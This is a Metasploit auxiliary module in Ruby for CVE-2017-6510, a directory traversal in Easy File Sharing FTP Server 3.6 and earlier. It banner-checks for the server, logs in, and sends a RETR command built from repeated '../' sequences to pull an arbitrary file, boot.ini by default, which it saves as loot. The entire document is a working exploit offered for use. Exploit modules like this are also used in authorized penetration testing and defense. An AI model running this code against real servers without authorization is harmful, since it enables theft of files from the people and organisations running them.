require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super (update_info(info,
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal' ,
'Description' => %q{
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3 . 6 and Earlier.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '../'
},
'Platform' => 'win' ,
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2017-6510' ]
],
'DisclosureDate' => 'Mar 07 2017'
))
register_options(
[
OptInt. new ( 'DEPTH' , [ true , 'Traversal Depth (to reach the root folder)' , 32 ]),
OptString. new ( 'PATH' , [ true , "Path to the file to disclose, releative to the root dir." , 'boot.ini' ])
], self . class )
end
def check_host(ip)
begin
connect
if /Easy File Sharing FTP Server/i === banner
return Exploit::CheckCode::Detected
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
connect_login
sock = data_connect
if sock. nil ?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore[ 'PATH' ]
file = :: File .basename(file_path)
retr_cmd = ( "../" * datastore[ 'DEPTH' ] ) + "#{file_path}"
res = send_cmd( [ "RETR" , retr_cmd])
if sock. nil ?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
response_data = sock.read( 1024 )
end
unless response_data
print_error( "#{file_path} not found" )
return
end
if response_data.length == 0 or ! (res =~ /^ 150 / )
print_status( "File (#{file_path})from #{peer} is empty..." )
return
end
loot_file = store_loot( "easy.file.sharing.ftp.data" , "text" , rhost, response_data, file, file_path)
vprint_status( "Data returned:\n" )
vprint_line(response_data)
print_good( "Stored #{file_path} to #{loot_file}" )
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog( "#{e.class} #{e.message} #{e.backtrace * " \n "}" )
rescue ::Timeout::Error, ::Errno:: EPIPE => e
vprint_error(e.message)
elog( "#{e.class} #{e.message} #{e.backtrace * " \n "}" )
ensure
data_disconnect
disconnect
end
end
end
|